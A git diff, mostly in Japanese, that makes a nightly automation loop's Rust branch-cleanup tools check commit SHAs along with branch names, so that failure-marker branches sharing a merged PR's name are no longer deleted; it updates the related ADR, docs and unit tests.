diff --git a/.github/workflows/nightly-todo.yml b/.github/workflows/nightly-todo.yml index 039e41ed..9add80a8 100644 --- a/.github/workflows/nightly-todo.yml +++ b/.github/workflows/nightly-todo.yml @@ -135,7 +135,21 @@ jobs: # # **判定は exe、削除は step**。「PR が 1 件も無いブランチは候補にしない」規則を # `cli-stale-branch-scan` が既に持っており、それがそのまま失敗マーカー (決定 19、 - # PR の無い claude/nightly-<順位>) を守る。shell で PR 状態をパースし直さない + # PR の無い claude/nightly-<順位>) を守る。 + # + # **同名で過去に PR が出ていた順位は、それだけでは守れない** (2026-09-05、決定 20 改訂)。 + # PR 履歴は head ref 名で永続するため、マージ済み PR と同名のマーカーは「その PR の + # ブランチ」に見える。順位 324 は 08-31 / 09-01 の 2 晩、この step がマーカーを消して + # 同じ順位を再選択していた。exe は PR の headRefOid と ls-remote の SHA を突き合わせ、 + # ref が PR の head を指していない場合 (= マーカー) は候補にしない。 + # + # **判定に使った commit は cli-branch-cleanup まで運ぶ。** scan の出力は + # `<ブランチ名>` で、cleanup は現在の ref がその commit と一致する + # ときだけ削除する。lease が保証するのは「cleanup 自身が観測してから動いていない + # こと」だけで、分類と実行の間の入れ替わりは塞げない (分類したのは名前ではなく、 + # commit を指す ref である)。 + # + # shell で PR 状態をパースし直さない # (回帰テストの場が無い判定を無人経路に置かない = 決定 1 と同じ理由)。 # # closed と merged を区別しない。merged を除外すると、マージ時にブランチが消し diff --git a/docs/adr/adr-072-nightly-todo-loop.md b/docs/adr/adr-072-nightly-todo-loop.md index 7378e72a..ea83ddef 100644 --- a/docs/adr/adr-072-nightly-todo-loop.md +++ b/docs/adr/adr-072-nightly-todo-loop.md @@ -529,6 +529,20 @@ public リポジトリでは **fork からの PR でも起動し、その時点 **PR の無いブランチは削除しない。** それは決定 19 の失敗マーカーであり、掃除すると人間の確認を待たずに再投入される。**したがって境界は「PR があるか」の 1 点だけ**になる — PR があれば掃除、無ければ残す。判定は `cli-stale-branch-scan` が既に持つ規則 (「PR が 1 件も無いブランチは提案対象外」) をそのまま使う。**shell で PR 状態をパースしない** — 決定 1 が選択ロジックを exe に置いたのと同じ理由で、回帰テストの場が無い判定を無人経路に置かない。 +> **2026-09-05 改訂: 境界は「PR があるか」ではなく「ref がその PR の head を指しているか」。** 上の 1 点は**一度 PR が出た順位では常に真になる**。PR の履歴は head ref **名**で永続するため、マージ / close でブランチが消えた後に同じ順位でマーカー (base commit を指す空 ref) を作ると、過去の PR がそのまま紐づいて見え、翌晩の掃除がマーカーを消す。 +> +> **実測: 順位 324 で 2 晩繰り返した。** PR [#427](https://github.com/aloekun/claude-code-hook-test/pull/427) が 2026-08-30 にマージされた後、08-30 の run が空 diff で停止してマーカーを作り、08-31 の掃除が `[NIGHTLY] 削除: claude/nightly-324` でそれを消し、同じ順位を再選択してまた空 diff で停止 — これを 09-01 まで繰り返した。**決定 19 が防ごうとした「失敗した run が先頭を独占する」そのものが、決定 20 の掃除によって復活していた。** +> +> `cli-stale-branch-scan` に PR の `headRefOid` と `git ls-remote` の SHA を持たせ、**決着済み PR のうち 1 本でも現在の ref を指しているときだけ削除候補にする**。指していなければ新しい判定 `Diverged` として提案対象外にする。**open PR には課さない** — open PR の `headRefOid` は push のたびに更新され `ls-remote` との間に窓があるため、一致を要求すると作業中のブランチが提案対象へ落ちる (誤りの向きが逆になる)。 +> +> **マーカーの名前空間は分けなかった。** `claude/handoff-<順位>` のように別名にすれば名前の衝突自体が消えるが、人間の運用手順 (§ 再投入の意思表示の表) とブランチ存在による除外 (決定 3) の両方が `claude/nightly-<順位>` を前提にしており、変更面が 3 箇所に広がる。**同名であることは問題ではなく、同名を同一物と読んだことが問題**なので、読み方の側を直した。 +> +> なお、この穴が**選択の側で顕在化する経路**は決定 21 (台帳残骸の scan) が別に塞いでいる。324 が毎晩選ばれたのは台帳の行が残っていたためで、残骸 scan はその行を除外集合へ回す。本改訂が塞ぐのはマーカーが消えること自体であり、**両者は別の層で、どちらか一方では 324 の形を止められない**。 +> +> **判定した commit は実行側まで運ぶ。** `--deletable-only` の出力を `<ブランチ名>\t<判定に使った commit>` に変え、`cli-branch-cleanup` は現在の ref がその commit と一致するときだけ削除する。**lease ではこの窓を塞げない** — `--force-with-lease` が保証するのは「**自分が観測してから**動いていないこと」であって、分類と実行が別の観測を持つ限り、その間の入れ替わりは素通りする。分類したのは特定の commit を指す ref であり、名前ではない。ずれていたら削除を試みずに `AbortedRefMoved` で止める (CodeRabbit [#476](https://github.com/aloekun/claude-code-hook-test/pull/476))。 +> +> **形式を外した入力は 1 本も消さずに落とす。** commit を付けない旧 scan からの入力がその形になるため、名前だけを頼りに消し始めると本改訂が無効化される (ADR-043)。両 exe は同じ job 内で同じ checkout からビルドされるので版ずれは起きない構成だが、**構成に頼らず入力側で塞ぐ**。 + **追記 (2026-09-01、機3)**: 上の段落は「PR 状態のパースを shell に書かない」と書いたが、**掃除ループ自身の結果分類 (ref 不在 → skip / ref 移動 → 中止 / 障害 → red) は shell に書かれていた**。**どれも実走で発火する見込みが無かった** — ref 不在 / ref 移動は TOCTOU レース (実測窓 約 1.3 秒) を要し、障害 → red はネットワーク断・token 失効といった**外部障害**を要する (TOCTOU とは別の条件で、こちらは意図して起こせない)。順位 467 D-1 の残観測はそのまま実走待ちで止まっていた。観測 → lease 付き削除 → 分類を新 crate `cli-branch-cleanup` へ移し、分類を純関数 + unit test で固定した (workflow step は exe 呼び出しへ縮退)。**決定 1 のこの適用範囲は規範から機構になった** — ただし「無人経路の判定を exe に置く」という規則自体は依然として人間が守るものである。push 側の [ADR-076](adr-076-testability-gate.md) testability gate は Rust の I/O 癒着しか見ないため、**workflow の shell に新しい判定が増える経路は機械では止まらない**。 したがって **lane を auto のまま close する = 再投入の意思表示**になる。掃除がブランチを消し、翌晩の選択で同じ順位が再び候補に入る。この含意は人間が close 画面で思い出せないと機能しないため、nightly PR の body テンプレートに 1 行の案内を入れる。 @@ -544,7 +558,7 @@ public リポジトリでは **fork からの PR でも起動し、その時点 | 19 (失敗マーカー) | `nightly-todo.yml` の `Leave a handoff marker…` step | 条件は **implement 成功 かつ publish 未達 かつ (verify / guard / ledger-completion のいずれかが非成功、または ledger-removal が失敗)**。`gh api -X POST .../git/refs` で base commit を指す空 ref を 1 本作る | | 19 (対象外の停止) | 同 step の `if` | **gate deny (kill-switch / 背圧) と integrity 検知はマーカーを作らない**。前者は「今夜は動かない」という設計された停止で翌晩の再試行が正しく、後者は red で人間を呼ぶセキュリティ事象なのでマーカーで静かに除外してはならない | | 20 (掃除) | `Clean up branches of settled PRs` step | `cli-stale-branch-scan --prefix claude/nightly- --deletable-only` の出力を消費。**選択より前**に置く (直後の in-flight 集計が `git ls-remote` から除外順位を作るため、後だと消したはずのブランチで除外され続ける) | -| 20 (判定と実行の分離) | `cli-stale-branch-scan` | 「PR が 1 件も無いブランチは候補にしない」既存規則がそのまま失敗マーカーを守る。出力は `git push --delete` の引数になるため、**ブランチ名の allowlist を満たさないものは出力しない** (markdown レポートのコピペ経路と同じ injection 面) | +| 20 (判定と実行の分離) | `cli-stale-branch-scan` | 「PR が 1 件も無いブランチは候補にしない」既存規則がそのまま失敗マーカーを守る (2026-09-05 改訂: これに加えて「決着済み PR が現在の ref を指していない」`Diverged` も候補にしない)。出力は `git push --delete` の引数になるため、**ブランチ名の allowlist を満たさないものは出力しない** (markdown レポートのコピペ経路と同じ injection 面) | | App token の 2 段化 | `cleanup-token` / `app-token` step | 掃除用を job 冒頭、publish + マーカー用を implement 後に mint。1 つで賄わないのは寿命 1 時間に対し implement が最大 60 ターン走るため (決定 8)。**2 回目は gate 通過を条件にしない** — implement 後に停止した run こそマーカーが要る | | dry_run の扱い | 掃除 / マーカーの両 step | どちらも `dry_run` では**対象を列挙するだけで書き込まない**。観測はできるが副作用は無い形にして、実走確認を安全に 1 回で済ませる | diff --git a/docs/claude-code-web-tasks.md b/docs/claude-code-web-tasks.md index 2091ecd2..107cdbe6 100644 --- a/docs/claude-code-web-tasks.md +++ b/docs/claude-code-web-tasks.md @@ -94,7 +94,12 @@ close は「この成果物は採らない」という判断であって、「 **`✅` のまま close する = 再投入の意思表示である。** 夜間ループは起動時に「決着済み (closed / merged) の PR に紐づく `claude/nightly-*` ブランチ」を自動で掃除するため、放置すると翌晩以降に同じ順位が再選択される。意図しない再実装を避けたいなら、close と同時に lane を `—` へ移すこと。 -**PR の無い `claude/nightly-<順位>` ブランチは掃除されない。** それは夜間ループが implement 後に停止したときの**失敗マーカー**(同決定 19)で、人間が確認するまでその順位は選択されない。確認後、上表のどちらかの操作で決着させる。 +**掃除されるのは「決着済み PR の head commit を指したままのブランチ」だけ**(2026-09-05 改訂、[ADR-072](adr/adr-072-nightly-todo-loop.md) 決定 20)。次の 2 つは掃除されない。 + +- **PR の無い `claude/nightly-<順位>` ブランチ** — 夜間ループが implement 後に停止したときの**失敗マーカー**(同決定 19) +- **決着済み PR と同名でも、ref がその PR の head と別 commit を指すもの** — 過去にその順位で PR を出したあとに作られた失敗マーカーがこれに当たる。**PR の履歴はブランチ名で永続する**ため、名前だけで束ねると後から作られたマーカーを消してしまう(順位 324 が 2026-08-31 / 09-01 の 2 晩これで消され、同じ順位が再選択され続けた) + +どちらも人間が確認するまでその順位は選択されない。**過去に PR を出した順位でも、マーカーは自動では消えない** — 確認後、上表のどちらかの操作で決着させること。`cli-stale-branch-scan` のレポートでは「参考: ref が PR の head を指していないブランチ」節に出る。 --- diff --git a/src/cli-branch-cleanup/src/classify.rs b/src/cli-branch-cleanup/src/classify.rs index f714cb73..27e69a7b 100644 --- a/src/cli-branch-cleanup/src/classify.rs +++ b/src/cli-branch-cleanup/src/classify.rs @@ -73,7 +73,7 @@ impl Outcome { format!("削除直前に消えていたため skip: {branch}") } Outcome::AbortedRefMoved(detail) => format!( - "削除を中止: {branch} (観測後に ref が動いた = 他経路の作業がある): {detail}" + "削除を中止: {branch} (分類後に ref が動いた = 分類したものとは別の物になっている): {detail}" ), Outcome::DeleteRejected(detail) => format!( "削除を拒否された: {branch} (ref は観測時のまま。branch protection / 権限 / hook を疑う): {detail}" @@ -85,9 +85,25 @@ impl Outcome { /// 観測 → 削除 → (失敗時のみ) 再確認 の結果を 1 つの [`Outcome`] にする (I/O なし)。 /// +/// `expected` は **`cli-stale-branch-scan` が分類に使った commit**。標準入力から +/// `<ブランチ名>\t` で渡ってくる。 +/// +/// # なぜ自分の観測ではなく分類時の commit を基準にするか +/// +/// 削除してよいと決めたのは scan であり、その判断は**特定の commit を指す ref** に対して +/// 下されている。実行側が自分で観測し直した値を基準にすると、分類と実行の間に ref が +/// 入れ替わっても気づかず、**分類していない物を消す**。lease (`--force-with-lease`) は +/// 「自分が観測してから動いていないこと」しか保証せず、この窓は塞がない。 +/// +/// 夜間ループでは PR ブランチ → ハンドオフマーカー (別 commit) への入れ替わりがこの形に +/// なる ([ADR-072](../../../docs/adr/adr-072-nightly-todo-loop.md) 決定 19/20)。ずれていたら +/// 削除を試みずに [`Outcome::AbortedRefMoved`] で止める — **lease の失敗に頼らず、 +/// 判定として先に落とす** (lease の失敗文言は「消えた」「動いた」を区別しない)。 +/// /// `delete` / `recheck` は、前段の結果によって呼ばれないことがあるため [`Option`] で受ける。 /// **呼ばれなかった段が `None`** であり、呼び出し側の I/O 層はこの契約に従って値を渡す。 pub(crate) fn classify( + expected: &str, observation: &RefObservation, delete: Option<&DeleteAttempt>, recheck: Option<&RefObservation>, @@ -95,6 +111,9 @@ pub(crate) fn classify( match observation { RefObservation::Failed(detail) => Outcome::Failed(detail.clone()), RefObservation::Absent => Outcome::SkippedAlreadyGone, + RefObservation::Present(observed) if observed != expected => Outcome::AbortedRefMoved( + format!("分類時 {expected} → 現在 {observed}"), + ), RefObservation::Present(observed) => match delete { Some(DeleteAttempt::Succeeded) => Outcome::Deleted, Some(DeleteAttempt::Failed(detail)) => { @@ -105,6 +124,48 @@ pub(crate) fn classify( } } +/// 標準入力の 1 行 = 削除対象。`cli-stale-branch-scan --deletable-only` の出力形式。 +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct DeletionTarget { + pub(crate) branch: String, + /// scan が分類に使った commit。lease の期待値になる。 + pub(crate) expected_sha: String, +} + +/// 標準入力を [`DeletionTarget`] の並びへ解釈する (I/O なし)。 +/// +/// **1 行でも形式を外したら、1 本も削除せずに `Err`。** 途中まで消してから止まると、 +/// 「どこまで消えたか」が入力の行順に依存する。加えて、形式違反は**呼び手の版ずれ** +/// (commit を付けない旧 scan からの入力) を意味しうるので、その状態で名前だけを頼りに +/// 消してはならない — 本 exe が塞いだはずの窓がそのまま開く +/// ([ADR-043](../../../docs/adr/adr-043-security-gates-fail-closed.md))。 +pub(crate) fn parse_targets(input: &str) -> Result, String> { + let mut targets = Vec::new(); + for raw in input.lines() { + let line = raw.trim(); + if line.is_empty() { + continue; + } + let Some((branch, sha)) = line.split_once('\t') else { + return Err(format!( + "入力の形式が違います (期待: <ブランチ名>\\t): {line:?}" + )); + }; + let (branch, sha) = (branch.trim(), sha.trim()); + if branch.is_empty() { + return Err(format!("ブランチ名が空です: {line:?}")); + } + if !is_object_id(sha) { + return Err(format!("commit が object id の形ではありません: {line:?}")); + } + targets.push(DeletionTarget { + branch: branch.to_string(), + expected_sha: sha.to_string(), + }); + } + Ok(targets) +} + /// 削除が失敗した後の分岐。**再確認の結果でしか区別できない**。 /// /// **ref が在るだけでは「動いた」と言えない。** lease の失敗文言は「消えた」「動いた」 @@ -159,14 +220,26 @@ fn is_object_id(candidate: &str) -> bool { mod tests { use super::*; + const EXPECTED: &str = "3000737e0c1a"; + + /// 分類時と同じ commit を期待値にして [`classify`] を呼ぶ (= 分類と実行の間に ref が + /// 動いていない、通常の姿)。ずれている場合を見るテストは `classify` を直接呼ぶ。 + fn classify_matching( + observation: &RefObservation, + delete: Option<&DeleteAttempt>, + recheck: Option<&RefObservation>, + ) -> Outcome { + classify(EXPECTED, observation, delete, recheck) + } + fn present() -> RefObservation { - RefObservation::Present("3000737e0c1a".to_string()) + RefObservation::Present(EXPECTED.to_string()) } /// 通常経路: ref が在り、削除が成功する (2026-08-22 の run で実走観測済み)。 #[test] fn a_present_ref_deleted_successfully_is_deleted() { - let outcome = classify(&present(), Some(&DeleteAttempt::Succeeded), None); + let outcome = classify_matching(&present(), Some(&DeleteAttempt::Succeeded), None); assert_eq!(outcome, Outcome::Deleted); assert!(!outcome.is_failure()); } @@ -174,7 +247,7 @@ mod tests { /// **skip 分岐 1**: 観測時点で既に無い。TOCTOU レースでしか自然発火しない経路。 #[test] fn an_absent_ref_is_skipped() { - let outcome = classify(&RefObservation::Absent, None, None); + let outcome = classify_matching(&RefObservation::Absent, None, None); assert_eq!(outcome, Outcome::SkippedAlreadyGone); assert!(!outcome.is_failure()); } @@ -182,7 +255,7 @@ mod tests { /// **skip 分岐 2**: 削除は失敗したが、再確認したら消えていた (レースの正常側)。 #[test] fn a_ref_that_vanished_during_delete_is_skipped() { - let outcome = classify( + let outcome = classify_matching( &present(), Some(&DeleteAttempt::Failed("stale info".to_string())), Some(&RefObservation::Absent), @@ -194,7 +267,7 @@ mod tests { /// **中止**: 観測後に ref が動いた。他経路の作業があるので消さない。 #[test] fn a_moved_ref_aborts_instead_of_deleting() { - let outcome = classify( + let outcome = classify_matching( &present(), Some(&DeleteAttempt::Failed("stale info".to_string())), Some(&RefObservation::Present("beef1234".to_string())), @@ -208,7 +281,7 @@ mod tests { /// (CodeRabbit #466)。止めることは変わらない。 #[test] fn a_rejected_delete_is_not_reported_as_a_moved_ref() { - let outcome = classify( + let outcome = classify_matching( &present(), Some(&DeleteAttempt::Failed("protected branch".to_string())), Some(&present()), @@ -225,7 +298,7 @@ mod tests { /// **障害経路 1**: 観測そのものが失敗した (ネットワーク / 認証)。 #[test] fn a_failed_observation_is_a_failure() { - let outcome = classify( + let outcome = classify_matching( &RefObservation::Failed("could not read Username".to_string()), None, None, @@ -237,7 +310,7 @@ mod tests { /// **障害経路 2**: 削除失敗後の再確認が失敗した。 #[test] fn a_failed_recheck_is_a_failure() { - let outcome = classify( + let outcome = classify_matching( &present(), Some(&DeleteAttempt::Failed("push failed".to_string())), Some(&RefObservation::Failed("timeout".to_string())), @@ -249,8 +322,8 @@ mod tests { /// 呼び出し側が段を飛ばしたら失敗に倒す (「削除していないのに成功」を作らない)。 #[test] fn missing_stages_are_failures_not_successes() { - assert!(classify(&present(), None, None).is_failure()); - assert!(classify( + assert!(classify_matching(&present(), None, None).is_failure()); + assert!(classify_matching( &present(), Some(&DeleteAttempt::Failed("x".to_string())), None @@ -258,6 +331,82 @@ mod tests { .is_failure()); } + /// **分類後に ref が動いていたら、削除を試みずに中止する。** + /// + /// scan が分類したのは `EXPECTED` を指す ref であって、いま在る別の commit ではない。 + /// 夜間ループでは PR ブランチ → ハンドオフマーカーへの入れ替わりがこの形になる。 + #[test] + fn a_ref_that_no_longer_matches_the_classified_commit_aborts_before_deleting() { + let outcome = classify(EXPECTED, &RefObservation::Present("beef1234".to_string()), None, None); + let Outcome::AbortedRefMoved(detail) = &outcome else { + panic!("分類時と違う commit は中止に倒すこと: {outcome:?}"); + }; + assert!(detail.contains(EXPECTED) && detail.contains("beef1234"), "{detail}"); + assert!(outcome.is_failure(), "分類していない物に触れたら赤で止める"); + } + + /// 対照: commit が一致していれば従来どおり削除へ進む (照合が過剰に効いていないこと)。 + #[test] + fn a_ref_still_at_the_classified_commit_is_deleted() { + assert_eq!( + classify(EXPECTED, &present(), Some(&DeleteAttempt::Succeeded), None), + Outcome::Deleted + ); + } + + /// ref が既に無い場合は、期待値と照合するまでもなく skip (削除は目的を達している)。 + #[test] + fn an_absent_ref_is_skipped_regardless_of_the_expected_commit() { + assert_eq!( + classify("beef1234", &RefObservation::Absent, None, None), + Outcome::SkippedAlreadyGone + ); + } + + /// 標準入力は `<ブランチ名>\t`。 + #[test] + fn targets_are_parsed_from_tab_separated_lines() { + let targets = parse_targets("claude/nightly-1\tabc123\n\nfeat/x\tdef456\n").expect("parse"); + assert_eq!( + targets, + vec![ + DeletionTarget { + branch: "claude/nightly-1".to_string(), + expected_sha: "abc123".to_string() + }, + DeletionTarget { + branch: "feat/x".to_string(), + expected_sha: "def456".to_string() + }, + ] + ); + assert!(parse_targets("").expect("空入力は 0 件").is_empty()); + } + + /// **commit の無い行は受け取らない。** commit を付けない旧 `cli-stale-branch-scan` からの + /// 入力がこの形になる。名前だけで消し始めると、分類と実行のずれを見る仕組みが + /// そのまま無効化される。 + #[test] + fn a_line_without_a_commit_is_rejected() { + for input in [ + "claude/nightly-1\n", + "claude/nightly-1\t\n", + "claude/nightly-1\tnot-hex\n", + "\tabc123\n", + ] { + assert!(parse_targets(input).is_err(), "{input:?} が Err にならない"); + } + } + + /// **1 行でも形式を外したら 1 件も返さない。** 途中まで消してから止まると、 + /// どこまで消えたかが入力の行順に依存する。 + #[test] + fn one_malformed_line_rejects_the_whole_input() { + let err = parse_targets("good/branch\tabc123\nbad-line-without-commit\n") + .expect_err("混在入力は Err"); + assert!(err.contains("bad-line-without-commit"), "{err}"); + } + /// `git ls-remote` の実出力形式から SHA を読む。 #[test] fn ls_remote_output_yields_the_sha() { diff --git a/src/cli-branch-cleanup/src/main.rs b/src/cli-branch-cleanup/src/main.rs index 89675a35..438d6d78 100644 --- a/src/cli-branch-cleanup/src/main.rs +++ b/src/cli-branch-cleanup/src/main.rs @@ -41,7 +41,10 @@ mod classify; use std::io::Read; use std::process::{Command, Stdio}; -use classify::{classify, observe_from_output, DeleteAttempt, Outcome, RefObservation}; +use classify::{ + classify, observe_from_output, parse_targets, DeleteAttempt, DeletionTarget, Outcome, + RefObservation, +}; const EXIT_FAILURE: i32 = 1; const EXIT_USAGE: i32 = 2; @@ -59,23 +62,20 @@ fn main() -> std::process::ExitCode { return std::process::ExitCode::from(EXIT_USAGE as u8); } }; - let mut input = String::new(); - if std::io::stdin().read_to_string(&mut input).is_err() { - eprintln!("[branch-cleanup] 標準入力を読めません"); - return std::process::ExitCode::from(EXIT_USAGE as u8); - } - let branches: Vec<&str> = input - .lines() - .map(str::trim) - .filter(|l| !l.is_empty()) - .collect(); - if branches.is_empty() { + let targets = match read_targets() { + Ok(targets) => targets, + Err(code) => return code, + }; + if targets.is_empty() { eprintln!("[branch-cleanup] 掃除対象はありません"); return std::process::ExitCode::SUCCESS; } if cli.dry_run { - for branch in &branches { - eprintln!("[branch-cleanup] dry-run のため削除しません: {branch}"); + for target in &targets { + eprintln!( + "[branch-cleanup] dry-run のため削除しません: {} ({})", + target.branch, target.expected_sha + ); } return std::process::ExitCode::SUCCESS; } @@ -89,19 +89,40 @@ fn main() -> std::process::ExitCode { return std::process::ExitCode::from(EXIT_USAGE as u8); } - delete_all(&cli, &token, &branches) + delete_all(&cli, &token, &targets) +} + +/// 標準入力を読み、削除対象へ解釈する。**失敗は 1 本も削除せずに終了コードへ倒す。** +/// +/// 形式違反を [`EXIT_USAGE`] にするのは、それが**呼び手の版ずれ** (commit を付けない旧 +/// `cli-stale-branch-scan` からの入力) を意味しうるため。名前だけを頼りに消し始めると、 +/// 本 exe が塞いだはずの窓がそのまま開く ([`parse_targets`] の doc)。 +fn read_targets() -> Result, std::process::ExitCode> { + let mut input = String::new(); + if std::io::stdin().read_to_string(&mut input).is_err() { + eprintln!("[branch-cleanup] 標準入力を読めません"); + return Err(std::process::ExitCode::from(EXIT_USAGE as u8)); + } + parse_targets(&input).map_err(|message| { + eprintln!("[branch-cleanup] {message}"); + eprintln!( + "[branch-cleanup] cli-stale-branch-scan --deletable-only の出力をそのまま渡してください \ + (1 本も削除していません)" + ); + std::process::ExitCode::from(EXIT_USAGE as u8) + }) } /// 先頭から順にブランチを処理し、**異常を検知した時点で以降のブランチには一切触れず /// red で終える** (旧 shell の `exit 1` と同じ fail-fast、意味論は移送で変えない)。 -fn delete_all(cli: &Cli, token: &str, branches: &[&str]) -> std::process::ExitCode { +fn delete_all(cli: &Cli, token: &str, targets: &[DeletionTarget]) -> std::process::ExitCode { let push_url = format!("https://x-access-token:{token}@github.com/{}.git", cli.repo); if let Err(detail) = init_work_repo(token, &cli.work_dir) { eprintln!("[branch-cleanup] push 用の空リポジトリを作れません: {detail}"); return std::process::ExitCode::from(EXIT_FAILURE as u8); } - if run_branches(branches, |branch| { - process_branch(&push_url, token, &cli.work_dir, branch) + if run_branches(targets, |target| { + process_branch(&push_url, token, &cli.work_dir, target) }) { std::process::ExitCode::from(EXIT_FAILURE as u8) } else { @@ -117,10 +138,13 @@ fn delete_all(cli: &Cli, token: &str, branches: &[&str]) -> std::process::ExitCo /// /// 処理の実体を引数で受けるのは、この打ち切り自体を I/O 無しでテストするため /// (F5 と同じ注入の seam)。 -fn run_branches(branches: &[&str], mut process: impl FnMut(&str) -> Outcome) -> bool { - for branch in branches { - let outcome = process(branch); - eprintln!("[branch-cleanup] {}", outcome.message(branch)); +fn run_branches( + targets: &[DeletionTarget], + mut process: impl FnMut(&DeletionTarget) -> Outcome, +) -> bool { + for target in targets { + let outcome = process(target); + eprintln!("[branch-cleanup] {}", outcome.message(&target.branch)); if outcome.is_failure() { return true; } @@ -182,18 +206,29 @@ fn init_work_repo(token: &str, work_dir: &str) -> Result<(), String> { /// 1 ブランチ分の観測 → 削除 → (失敗時のみ) 再確認 を行い、分類を返す。 /// +/// **観測が分類時の commit と違ったら、削除を試みずに止める。** 判定を下したのは +/// `cli-stale-branch-scan` で、その判断は特定の commit を指す ref に対して下されている +/// ([`classify`] の doc)。lease は自分の観測からの移動しか見ないので、この確認は +/// lease では代替できない。 +/// /// **段の呼び分けは [`classify`] の契約に合わせる** — 呼ばなかった段は `None` を渡す。 -fn process_branch(push_url: &str, token: &str, work_dir: &str, branch: &str) -> Outcome { - let observation = observe_ref(push_url, token, branch); - let RefObservation::Present(_) = observation else { - return classify(&observation, None, None); - }; - let delete = delete_ref(push_url, token, work_dir, branch, &observation); +fn process_branch( + push_url: &str, + token: &str, + work_dir: &str, + target: &DeletionTarget, +) -> Outcome { + let expected = target.expected_sha.as_str(); + let observation = observe_ref(push_url, token, &target.branch); + if !matches!(&observation, RefObservation::Present(sha) if sha == expected) { + return classify(expected, &observation, None, None); + } + let delete = delete_ref(push_url, token, work_dir, &target.branch, expected); let DeleteAttempt::Failed(_) = delete else { - return classify(&observation, Some(&delete), None); + return classify(expected, &observation, Some(&delete), None); }; - let recheck = observe_ref(push_url, token, branch); - classify(&observation, Some(&delete), Some(&recheck)) + let recheck = observe_ref(push_url, token, &target.branch); + classify(expected, &observation, Some(&delete), Some(&recheck)) } fn observe_ref(push_url: &str, token: &str, branch: &str) -> RefObservation { @@ -214,17 +249,17 @@ fn observe_ref(push_url: &str, token: &str, branch: &str) -> RefObservation { /// lease 付きの削除 push。**空リポジトリ (`work_dir`) から実行する** — job の既定 cwd は /// リポジトリではなく、そこから push すると `fatal: not a git repository` で死ぬ。 +/// +/// `expected_sha` は scan が分類に使った commit。呼び手 ([`process_branch`]) が +/// 「現在の観測 == 分類時」を確かめてから呼ぶので、lease は**分類した物**に対して張られる。 fn delete_ref( push_url: &str, token: &str, work_dir: &str, branch: &str, - observed: &RefObservation, + expected_sha: &str, ) -> DeleteAttempt { - let RefObservation::Present(sha) = observed else { - return DeleteAttempt::Failed("観測できていない ref を削除しようとしました".to_string()); - }; - let lease = format!("--force-with-lease=refs/heads/{branch}:{sha}"); + let lease = format!("--force-with-lease=refs/heads/{branch}:{expected_sha}"); match run_git( token, &[ @@ -341,14 +376,25 @@ mod tests { assert!(parse_args(&args).is_err()); } + /// ループの打ち切りだけを見るテスト用の削除対象。commit の値は使わない。 + fn targets(branches: &[&str]) -> Vec { + branches + .iter() + .map(|b| DeletionTarget { + branch: (*b).to_string(), + expected_sha: "abc123".to_string(), + }) + .collect() + } + /// **最初の失敗で打ち切る** (移送前の shell の `set -e` + `exit 1` と同じ)。 /// 続けると、失効した token のような全件共通の原因に対して削除 push を投げ続ける。 #[test] fn the_loop_stops_at_the_first_failure() { let mut seen = Vec::new(); - let failed = run_branches(&["a", "b", "c"], |branch| { - seen.push(branch.to_string()); - if branch == "b" { + let failed = run_branches(&targets(&["a", "b", "c"]), |target| { + seen.push(target.branch.clone()); + if target.branch == "b" { Outcome::Failed("could not read Username".to_string()) } else { Outcome::Deleted @@ -362,8 +408,8 @@ mod tests { #[test] fn skipped_branches_do_not_stop_the_loop() { let mut seen = Vec::new(); - let failed = run_branches(&["a", "b"], |branch| { - seen.push(branch.to_string()); + let failed = run_branches(&targets(&["a", "b"]), |target| { + seen.push(target.branch.clone()); Outcome::SkippedAlreadyGone }); assert!(!failed); diff --git a/src/cli-stale-branch-scan/src/classify.rs b/src/cli-stale-branch-scan/src/classify.rs index e08dde53..e74a5751 100644 --- a/src/cli-stale-branch-scan/src/classify.rs +++ b/src/cli-stale-branch-scan/src/classify.rs @@ -42,13 +42,39 @@ impl PrState { } /// 1 件の PR。判定に要る最小限だけを持つ。 +/// +/// `head_oid` は PR の head commit。**PR を「ブランチ名」ではなく「name + commit」で +/// 束ねるために要る** ([`RemoteBranch`] の doc を参照)。 #[derive(Clone, Debug, PartialEq, Eq)] pub struct PrRecord { pub number: u64, pub head_ref: String, + pub head_oid: String, pub state: PrState, } +/// remote ブランチ 1 本。**名前と現在の commit を必ず組で運ぶ。** +/// +/// # なぜ名前だけでは足りないか +/// +/// PR の履歴は head ref **名**で永続する。ブランチが消えても、同名の ref を後から作れば +/// 過去の PR がそのまま紐づいて見える。初版は名前だけで束ねていたため、決着済み PR と +/// 同名の ref はすべて「その PR のブランチ」= 削除候補になっていた。 +/// +/// これが [ADR-072](../../../docs/adr/adr-072-nightly-todo-loop.md) 決定 19 の**失敗マーカーを +/// 消していた**。マーカーは base commit を指す空 ref で、同じ順位で過去に PR が出ていれば +/// 名前が衝突する。実測: 順位 324 は PR [#427](https://github.com/aloekun/claude-code-hook-test/pull/427) +/// が 2026-08-30 にマージされた後、2026-08-31 / 09-01 の 2 晩とも「掃除 → 同じ順位を再選択 → +/// agent を 1 回まるごと回して空 diff → マーカー作成」を繰り返した。決定 20 は「境界は +/// 『PR があるか』の 1 点」としていたが、**一度 PR が出た順位では、その 1 点が常に真になる**。 +/// +/// commit を併せて見れば、マーカー (base commit) と PR の head は別物として区別できる。 +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct RemoteBranch { + pub name: String, + pub sha: String, +} + /// ブランチ 1 本の分類結果。 #[derive(Clone, Debug, PartialEq, Eq)] pub enum BranchVerdict { @@ -56,16 +82,26 @@ pub enum BranchVerdict { Protected, /// open (または解釈不能) な PR が紐づく。まだ作業中なので触らない。 Active { open_prs: Vec }, - /// 紐づく PR がすべて closed / merged。**削除提案の対象**。 + /// 紐づく PR がすべて closed / merged で、**そのうち 1 本は現在の ref を指している**。 + /// 削除提案の対象。 Stale { closed_prs: Vec }, + /// 決着済み PR は紐づくが、**どれも現在の ref とは別の commit を指す**。 + /// **提案対象にしない** ([`RemoteBranch`] の doc を参照)。 + Diverged { settled_prs: Vec }, /// PR が 1 件も無い。**提案対象にしない** (§ なぜ提案しないか を参照)。 NoPullRequest, } /// 分類済みの 1 行。 +/// +/// **判定した時点の commit を必ず持ち回る。** 削除を実行するのは呼び手 (`cli-branch-cleanup`) +/// であり、名前だけを渡すと実行側が**自分で観測し直した** ref を消す。判定と実行の間に ref が +/// 動いていれば、それは分類していない別の物である ([`crate::main`] の module doc § 削除はしない)。 #[derive(Clone, Debug, PartialEq, Eq)] pub struct ClassifiedBranch { pub branch: String, + /// 判定に使った commit (`git ls-remote` の観測値)。 + pub sha: String, pub verdict: BranchVerdict, } @@ -94,14 +130,15 @@ fn is_protected(branch: &str, 